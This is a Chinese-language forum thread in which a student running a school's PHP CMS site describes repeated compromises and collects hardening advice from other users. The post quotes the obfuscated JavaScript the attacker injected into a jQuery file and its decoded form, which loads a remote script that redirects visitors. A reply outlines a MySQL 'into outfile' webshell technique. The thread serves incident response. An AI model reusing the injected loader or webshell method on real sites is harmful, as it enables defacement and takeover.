V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
syncher
V2EX  ›  问与答

Apache 错误日志被灌满, 菜鸟被黑客欺负,求助

  •  1
     
  •   syncher · 2017-06-26 21:47:40 +08:00 · 2720 次点击
    这是一个创建于 2706 天前的主题,其中的信息可能已经有所发展或是发生改变。

    问题描述

    这几天网站被黑客盯上了,因为安全做得不好,被黑客攻击了好几次。

    1. 第一次攻击是发上在一个月以前,黑客在首页引入的 jQuery-1.8.0.js 中写入一行 js 代码,
    var str="cnbtldms-vqhsd '!;rbqhos rqb<[!gsso9..vvv-  fnnfkd`crk-bnl.robncd.iptdqx-  
    ir[!=;.rbqhos=!(:";  
    var length=str.length;var ba64="";for(i=0;i<length;i++){var   
    s=str.charCodeAt(i);s++;ba64=ba64+String.fromCharCode(s)}eval(ba64); 
            
    

    翻译后是

    document.write ("<script src=\"http://www.googleadsl.com/spcode/jquery.js\"></script>")
    

    导致的结果是打开网站几秒后跳转到一个色情页面,页面太美,不忍直视。但是 ll 查看文件的时候并没有发下这个文件的修改时间异常,可笑的是当天的登陆日志被清空了,后来改了 root 账号的密码。
    2. 第二次攻击是发生在一周以后,攻击方式和第一次一样。
    3. 第三次攻击发生在上周。上周四早上打开一个页面的时候突然发现服务器 500 异常,然后登陆服务器查看站点目录, stat filename 发现站点下有一个目录下的所有文件均在该日凌晨 5:16 分左右被修改。打开内容一看,画面惨不忍睹。
    error.jpg 4. 最后一次被攻击是今天,今天网站有奔溃了,我也几乎要奔溃了(下周就要实习了,还有 5 门课程要复习)。连接服务器 df -h 发现磁盘满了,然后 du -h --max-depth=1 发现 /var/log/ 目录占用大量内存,进去查看发现 Apache 的错误日志有 25 个 G,tailhead一下,发现是我 PHP 没有配置时区报错,错误信息主要来自一个内网 IP。

    [Mon Jun 26 18:13:28 2017] [error] [client 202.118.80.240] PHP Warning:  mktime(): It  
    is not safe to rely on the system's timezone settings. You are *required* to use the   
    date.timezone setting or the date_default_timezone_set() function. In case you used   
    any of those methods and you are still getting this warning, you most likely  
    misspelled the timezone identifier. We selected 'Asia/Chongqing' for 'CST/8.0/no DST'  
    instead in /xxxxx/cal_day.php on line 163, referer: xxxxxx.com 
    
    [Mon Jun 26 18:13:28 2017] [error] [client 202.118.80.240] PHP Warning:  date(): It  
    is  not safe to rely on the system's timezone settings. You are *required* to use the   
    date.timezone setting or the date_default_timezone_set() function. In case you used   
    any of those methods and you are still getting this warning, you most likely   
    misspelled   the timezone identifier. We selected 'Asia/Chongqing' for 'CST/8.0/no   
    DST' instead in /xxxx/cal_header.inc.php on line 271, referer:  
    http://xxxx/cal_search.php
    
    

    解决方案

    1. 我一个做后端的小白面对这种安全问题基本是束手无策,被攻击后主要是靠恢复备份文件来解决的。
    2. 因为没有资金支持,所以只用免费的 web360 扫描过,给出的建议也基本做了(难过的是也没有技术大佬支持 org )。
    3. 数据库使用的是 root 账号,打算降低数据库的权限,改为普通账号。
    4. 防火墙策略限制了,只开放箱 80,8080 这些常用端口。ssh 学校总部限制了,外网一般连接不上服务器,查看登录日志页正常。

    真心求助

    真心希望各位大佬帮忙分析一下这可能是什么漏洞?该怎么进行防范?十分感谢。
    写得有点多,小白刚入坑,遇到这种问题各位看笑话了。因为网站是学校的,所以连接不敢随便放在这里,各位见谅。

    第 1 条附言  ·  2017-06-27 17:54:36 +08:00

    安全建议总结

    感谢各位给出的建议,特别感谢@fucker的私下耐心的指导,在此对各位的建议做过简单总结。

    1. 重装系统。
    2. 不适用 root 账号跑web应用。web应用目录除了上传目录外设置为只读,可上传目录不让执行PHP文件。
    3. 因为使用的PHP版本为5.3.3所以开启魔术引号GPC(PHP 5.4开始GPC取消了),即php.ini中magic_quotes_gpc=On
    4. MySQL 每个库对应一个用户,权限也只给对应库的操作权限。
    5. ssh 使用key登陆。
    30 条回复    2017-06-27 11:58:26 +08:00
    syncher
        1
    syncher  
    OP
       2017-06-26 23:01:14 +08:00 via Android
    没有大佬回复好桑心。。
    wsy2220
        2
    wsy2220  
       2017-06-27 00:24:04 +08:00 via Android
    服务器重装系统,用最新的发行版,经常更新
    ryd994
        3
    ryd994  
       2017-06-27 00:44:21 +08:00
    什么网站? Wordpress ?
    什么服务器? Apache?Nginx?
    什么数据库? MySQL ? MongoDB ?
    权限控制做了么?
    ssh 外网不能连不代表内网都是好人
    davidyin
        4
    davidyin  
       2017-06-27 02:37:06 +08:00
    从服务器重装开始做。
    syncher
        5
    syncher  
    OP
       2017-06-27 07:29:58 +08:00 via Android
    @ryd994 CMS 系统
    环境是 CentOS 7 + Apache + MySQL + PHP
    syncher
        6
    syncher  
    OP
       2017-06-27 07:30:44 +08:00 via Android
    @davidyin @wsy2220 谢谢
    herozzm
        7
    herozzm  
       2017-06-27 08:08:14 +08:00 via Android
    cms 可能有漏洞,漏洞没堵住,怎么装操作系统都没有用,cns 换成最新版本
    herozzm
        8
    herozzm  
       2017-06-27 08:08:39 +08:00 via Android
    cns=cms
    syncher
        9
    syncher  
    OP
       2017-06-27 08:17:15 +08:00 via Android
    @herozzm 嗯,从攻击来看应该是 XSS 攻击,更新版本是不太可能了。系统庞大而杂,领导让我们把一个系统的多个版本嵌在一起了,还有有很多小系统,小功能是自己开发的,升级不太现实了。
    des
        10
    des  
       2017-06-27 08:40:00 +08:00 via Android   ❤️ 1
    先重装,不要用 root 跑这些东西,www 目录除了可上传目录外只读,可上传目录不让 php 执行。

    如果可以的话用 selinux
    syncher
        11
    syncher  
    OP
       2017-06-27 08:42:06 +08:00 via Android
    @des 谢谢。
    fucker
        12
    fucker  
       2017-06-27 09:31:17 +08:00
    不一定是 root 账户失窃。
    看你描述,目测一下
    php 版本可能是 5.x,没做过滤, gpc=off,
    mysql 直接用 root 登录的吧
    网站目录权限 777 或 775
    如果真是 root 账户被盗取,那你肯定没有修改 sshd 监听端口

    建议:
    备份数据库,重新搭个环境啦。
    mysql 每个库对应一个用户,权限也只给对应库的操作权限
    php 建议开魔术引号,如果过滤做不好的话,一些危险的函数建议禁用,危险的操作一定要过滤或写死
    目录的话按照#10 @des 的建议没有问题
    修改 sshd 端口并上传公钥

    估计是黑客通过 注入+mysql / 上传 / 命令执行 的问题在你的 web 目录下生成了 webshell,然后你的 web 目录权限又不严谨,就直接挂广告了。可能是某黑产牛吧(瞎猜)。
    fucker
        13
    fucker  
       2017-06-27 09:36:08 +08:00
    #12 的回复没看到#5 =-= 瞎了,还自己目测了一遍,尴尬。
    楼主方便透露一下 cms 和它的版本信息吗
    fucker
        14
    fucker  
       2017-06-27 09:37:39 +08:00
    :cry: 也没有看到楼主自己说的 mysql 用 root 用户,我真的瞎了,看眼病去。。。
    syncher
        15
    syncher  
    OP
       2017-06-27 09:39:26 +08:00 via Android
    @fucker 先谢谢您。PHP 是 5.4 吧,是 5.x。MySQL 是用 root 登录的,回去我就修改,降低权限。网站根目录权限 700,属于 apache 用户,sshd 端口改了。回头按照您的建议加强防范
    syncher
        16
    syncher  
    OP
       2017-06-27 09:41:44 +08:00 via Android
    @fucker #13 PHP 云系统 1.0 和 4.0 组合使用
    fucker
        17
    fucker  
       2017-06-27 09:47:04 +08:00
    我又仔细看了一下帖子,现在估计可能是这样的
    1.cms 存在注入漏洞,黑客利用注入以及 php 的报错信息,获得了网站的物理路径,然后利用 mysql 的 ` select 0xXXXXX into outfile '/path/to/website' ` 得到了一个 webshell,从而控制网站。(最有可能)
    2.cms 存在注入漏洞 /任意文件读取,黑客通过注入 /任意文件读取(万一 CMS 作者是个极品,把帐号放配置文件里了呢)获得管理员帐号密码并扫描出后台,登录,上传 webshell (可能性略低)
    3.cms 存在命令执行漏洞,然后`echo >` 或 file_put_contents 得到 webshell (可能性最低)
    fucker
        18
    fucker  
       2017-06-27 09:48:15 +08:00
    @syncher PHP 云人才系统(PHPYun) 是这个 ?
    syncher
        19
    syncher  
    OP
       2017-06-27 09:50:19 +08:00 via Android
    @fucker 是的
    fucker
        20
    fucker  
       2017-06-27 09:50:20 +08:00
    @syncher 补一点
    前面你说“可笑的是当天的登陆日志被清空了,后来改了 root 账号的密码。”和“发现是我 PHP 没有配置时区报错,错误信息主要来自一个内网 IP。”,估计你们内网已经沦陷了。
    fucker
        21
    fucker  
       2017-06-27 09:52:18 +08:00
    @syncher 我 telegram https://telegram.me/ioLeon 方便的话联系我,详聊一下你的环境配置,我想复现一下
    msg7086
        22
    msg7086  
       2017-06-27 09:52:53 +08:00
    用 CentOS 我建议你先招一个懂的人。
    企业级的软件不是你抄起来就能搞的。
    root 权限跑应用?被黑了不重装?你逗我吗。
    Web Server 和 PHP 之类的 App stack 用低权限用户跑算是常识吧?
    服务器被黑了必须要整个重装并且源代码都全部重置回 Git 这也算是常识吧?
    syncher
        23
    syncher  
    OP
       2017-06-27 09:53:03 +08:00 via Android
    @fucker 可以的
    syncher
        24
    syncher  
    OP
       2017-06-27 09:55:30 +08:00 via Android
    @msg7086 好,学习了
    syncher
        25
    syncher  
    OP
       2017-06-27 10:01:50 +08:00 via Android
    @fucker 学校内网一直不平静,哈哈哈,一看就是大佬。
    bravecarrot
        26
    bravecarrot  
       2017-06-27 10:21:18 +08:00
    建议补完漏洞备份重装
    把你 openssh 的文件换了 你无论咋改 都可以用后门登录 root
    billion
        27
    billion  
       2017-06-27 10:37:02 +08:00
    ssh 不要用帐号密码登录,改为 ssh key 登录。
    Thoxvi
        28
    Thoxvi  
       2017-06-27 10:40:35 +08:00 via Android
    哈哈哈哈哈哈哈哈这个黑客真有意思
    syncher
        29
    syncher  
    OP
       2017-06-27 10:45:18 +08:00 via Android
    @billion 好的,感谢
    johnlui
        30
    johnlui  
       2017-06-27 11:58:26 +08:00
    中毒了当然要第一时间重装系统啦。。。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1242 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 29ms · UTC 18:01 · PVG 02:01 · LAX 10:01 · JFK 13:01
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.